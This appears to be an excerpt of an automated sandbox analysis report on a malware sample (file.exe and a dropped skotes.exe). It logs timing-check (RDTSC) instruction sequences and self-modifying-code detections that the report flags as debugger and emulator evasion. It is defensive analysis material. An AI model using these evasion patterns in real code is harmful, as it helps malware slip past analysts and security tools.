                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50B058E second address: 50B05AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, ax 0x00000012 mov esi, 310DC043h 0x00000017 popad 0x00000018 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6FEE9 second address: A6FEF3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96C91A861Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060456 second address: 5060472 instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C913276Eh 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060472 second address: 5060478 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060478 second address: 50604EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b pushad 0x0000000c mov al, ACh 0x0000000e pushfd 0x0000000f jmp 00007F96C9132773h 0x00000014 and cx, A5FEh 0x00000019 jmp 00007F96C9132779h 0x0000001e popfd 0x0000001f popad 0x00000020 push 64004279h 0x00000025 jmp 00007F96C9132777h 0x0000002a xor dword ptr [esp], 12F88261h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov si, bx 0x00000037 mov bl, DFh 0x00000039 popad 0x0000003a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50604EF second address: 50604F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50604F5 second address: 506051E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 222EC46Ah 0x0000000d pushad 0x0000000e mov ebx, esi 0x00000010 mov al, 96h 0x00000012 popad 0x00000013 add dword ptr [esp], 54C0E996h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F96C913276Ah 0x00000022 pop esi 0x00000023 popad 0x00000024 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 506051E second address: 5060603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8627h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f jmp 00007F96C91A8626h 0x00000014 nop 0x00000015 pushad 0x00000016 pushad 0x00000017 mov dh, al 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c movsx edx, cx 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 pushad 0x00000023 mov eax, ebx 0x00000025 push edi 0x00000026 pop eax 0x00000027 popad 0x00000028 pushfd 0x00000029 jmp 00007F96C91A8625h 0x0000002e or ah, 00000016h 0x00000031 jmp 00007F96C91A8621h 0x00000036 popfd 0x00000037 popad 0x00000038 nop 0x00000039 jmp 00007F96C91A861Eh 0x0000003e sub esp, 1Ch 0x00000041 jmp 00007F96C91A8620h 0x00000046 xchg eax, ebx 0x00000047 jmp 00007F96C91A8620h 0x0000004c push eax 0x0000004d jmp 00007F96C91A861Bh 0x00000052 xchg eax, ebx 0x00000053 jmp 00007F96C91A8626h 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c call 00007F96C91A861Dh 0x00000061 pop eax 0x00000062 mov ebx, 35055DD4h 0x00000067 popad 0x00000068 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060603 second address: 5060620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C9132779h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060620 second address: 50606F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F96C91A8621h 0x00000011 xchg eax, esi 0x00000012 jmp 00007F96C91A861Eh 0x00000017 xchg eax, edi 0x00000018 jmp 00007F96C91A8620h 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 movsx edi, ax 0x00000025 popad 0x00000026 jmp 00007F96C91A8626h 0x0000002b popad 0x0000002c xchg eax, edi 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F96C91A861Eh 0x00000034 sbb cx, C3D8h 0x00000039 jmp 00007F96C91A861Bh 0x0000003e popfd 0x0000003f jmp 00007F96C91A8628h 0x00000044 popad 0x00000045 mov eax, dword ptr [76FAB370h] 0x0000004a jmp 00007F96C91A8620h 0x0000004f xor dword ptr [ebp-08h], eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F96C91A8627h 0x00000059 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50606F5 second address: 506070D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C9132774h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 506070D second address: 506074E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d pushad 0x0000000e mov edi, 5938CA28h 0x00000013 mov ebx, 5C6460D4h 0x00000018 popad 0x00000019 push esi 0x0000001a jmp 00007F96C91A8628h 0x0000001f mov dword ptr [esp], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 506074E second address: 506076B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 506076B second address: 50607B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c jmp 00007F96C91A861Eh 0x00000011 mov dword ptr fs:[00000000h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F96C91A8627h 0x0000001e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50607B0 second address: 5060821 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c jmp 00007F96C913276Eh 0x00000011 mov eax, dword ptr [esi+10h] 0x00000014 jmp 00007F96C9132770h 0x00000019 test eax, eax 0x0000001b jmp 00007F96C9132770h 0x00000020 jne 00007F973AF81C87h 0x00000026 pushad 0x00000027 mov al, 17h 0x00000029 mov dh, 66h 0x0000002b popad 0x0000002c sub eax, eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F96C913276Eh 0x00000035 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060821 second address: 506084A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-20h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C91A8625h 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 506084A second address: 50608A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F96C9132777h 0x00000009 add cx, 966Eh 0x0000000e jmp 00007F96C9132779h 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop edx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebx, dword ptr [esi] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F96C9132774h 0x00000024 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50608A3 second address: 50608B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50608B2 second address: 50608E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-24h], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C913276Dh 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050F97 second address: 5050FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A8624h 0x00000009 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: AEF4B6 second address: AEEDD2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96C9132768h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2F58h], ebx 0x00000011 jnc 00007F96C9132767h 0x00000017 clc 0x00000018 push dword ptr [ebp+122D167Dh] 0x0000001e ja 00007F96C9132772h 0x00000024 call dword ptr [ebp+122D3B32h] 0x0000002a pushad 0x0000002b jmp 00007F96C9132779h 0x00000030 jnp 00007F96C9132772h 0x00000036 xor eax, eax 0x00000038 pushad 0x00000039 jmp 00007F96C9132779h 0x0000003e mov ebx, 7B277CE5h 0x00000043 popad 0x00000044 mov edx, dword ptr [esp+28h] 0x00000048 jmp 00007F96C913276Dh 0x0000004d mov dword ptr [ebp+122D2D09h], eax 0x00000053 cmc 0x00000054 mov esi, 0000003Ch 0x00000059 or dword ptr [ebp+122D3A87h], edi 0x0000005f xor dword ptr [ebp+122D3A87h], ebx 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 sub dword ptr [ebp+122D3A87h], ebx 0x0000006f jnl 00007F96C9132777h 0x00000075 jmp 00007F96C9132771h 0x0000007a lodsw 0x0000007c mov dword ptr [ebp+122D3A87h], esi 0x00000082 add eax, dword ptr [esp+24h] 0x00000086 jmp 00007F96C913276Ah 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f or dword ptr [ebp+122D3A87h], edx 0x00000095 nop 0x00000096 push ebx 0x00000097 jmp 00007F96C9132778h 0x0000009c pop ebx 0x0000009d push eax 0x0000009e push eax 0x0000009f push edx 0x000000a0 push eax 0x000000a1 push edx 0x000000a2 js 00007F96C9132766h 0x000000a8 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: AEEDD2 second address: AEEDD8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: AEEDD8 second address: AEEDDD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5B7EA second address: C5B806 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F96C91A8622h 0x00000008 jc 00007F96C91A8616h 0x0000000e jc 00007F96C91A8616h 0x00000014 jo 00007F96C91A861Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EBF2 second address: C5EC15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F96C913276Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EC15 second address: C5EC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jno 00007F96C91A8624h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 jmp 00007F96C91A861Dh 0x00000017 jnp 00007F96C91A8618h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F96C91A861Ch 0x00000029 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EC5B second address: C5EC60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5ED97 second address: C5EE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 je 00007F96C91A8616h 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jne 00007F96C91A8620h 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F96C91A8618h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov cx, bx 0x00000037 push 00000003h 0x00000039 sbb cl, FFFFFFD2h 0x0000003c push 00000000h 0x0000003e mov cx, ax 0x00000041 push 00000003h 0x00000043 mov dx, ax 0x00000046 push F69752A1h 0x0000004b push ecx 0x0000004c pushad 0x0000004d jmp 00007F96C91A861Ah 0x00000052 push eax 0x00000053 pop eax 0x00000054 popad 0x00000055 pop ecx 0x00000056 xor dword ptr [esp], 369752A1h 0x0000005d jmp 00007F96C91A8628h 0x00000062 lea ebx, dword ptr [ebp+12443B48h] 0x00000068 mov dword ptr [ebp+122D3B3Eh], ebx 0x0000006e xchg eax, ebx 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 pop eax 0x00000075 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EE36 second address: C5EE3C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EE3C second address: C5EE51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EEEE second address: C5EF26 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 0D89A064h 0x0000000e mov cx, 42A8h 0x00000012 push 00000003h 0x00000014 push ebx 0x00000015 pop edx 0x00000016 push 00000000h 0x00000018 mov esi, dword ptr [ebp+122D2C89h] 0x0000001e mov si, bx 0x00000021 push 00000003h 0x00000023 mov ecx, dword ptr [ebp+122D1D6Fh] 0x00000029 call 00007F96C9132769h 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EF26 second address: C5EF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EF2A second address: C5EF30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5EFF5 second address: C5F054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F96C91A8616h 0x0000000a popad 0x0000000b jnl 00007F96C91A861Ch 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov dword ptr [ebp+122D1EC0h], ecx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F96C91A8618h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 push 8A0E75EDh 0x0000003c pushad 0x0000003d jmp 00007F96C91A861Fh 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5F054 second address: C5F058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C5F058 second address: C5F0AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 75F18A93h 0x00000011 push 00000003h 0x00000013 pushad 0x00000014 mov esi, dword ptr [ebp+122D2EFDh] 0x0000001a mov dx, 8DE9h 0x0000001e popad 0x0000001f push 00000000h 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D200Fh], ecx 0x00000028 mov si, cx 0x0000002b popad 0x0000002c push 00000003h 0x0000002e and di, 9A25h 0x00000033 push E60ABD7Ah 0x00000038 pushad 0x00000039 jmp 00007F96C91A861Bh 0x0000003e push eax 0x0000003f push edx 0x00000040 jng 00007F96C91A8616h 0x00000046 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C70848 second address: C7084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7FF48 second address: C7FF61 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007F96C91A8616h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C91A861Bh 0x00000013 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7FF61 second address: C7FF66 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C49BB0 second address: C49BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F96C91A8616h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96C91A8629h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C49BD8 second address: C49BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7DF6C second address: C7DF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7E0A7 second address: C7E0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7E0AD second address: C7E0B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7E0B1 second address: C7E0B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7E0B7 second address: C7E0BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7E0BD second address: C7E0C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7E50D second address: C7E511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7EA5B second address: C7EAB2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96C9132766h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jl 00007F96C9132766h 0x00000015 pop esi 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F96C9132779h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 pop eax 0x00000026 jmp 00007F96C913276Dh 0x0000002b pop eax 0x0000002c jnl 00007F96C913276Ch 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7EDC4 second address: C7EDF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8627h 0x00000007 jmp 00007F96C91A8622h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7EDF5 second address: C7EE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C913276Bh 0x00000009 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7EE04 second address: C7EE15 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96C91A8616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop ebx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C76423 second address: C76429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C76429 second address: C7643F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F96C91A8616h 0x00000008 jnp 00007F96C91A8616h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7643F second address: C76443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C76443 second address: C7644D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F96C91A8616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7644D second address: C76457 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F96C913276Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7F92E second address: C7F934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7F934 second address: C7F93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7F93C second address: C7F942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7F942 second address: C7F953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F96C9132766h 0x0000000a jnc 00007F96C9132766h 0x00000010 popad 0x00000011 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7F953 second address: C7F95E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F96C91A8616h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7FDFF second address: C7FE04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: C7FE04 second address: C7FE15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Ch 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Tries to evade debugger and weak emulator (self modifying code)
                                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 8CED65 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 8CEDEB instructions caused by: Self-modifying code
                                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 8CED20 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: A655F1 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: A6D82A instructions caused by: Self-modifying code
                                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: A6DB4D instructions caused by: Self-modifying code
                                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: A8ECAE instructions caused by: Self-modifying code
                                      Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: AF4E00 instructions caused by: Self-modifying code
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSpecial instruction interceptor: First address: AEED65 instructions caused by: Self-modifying code
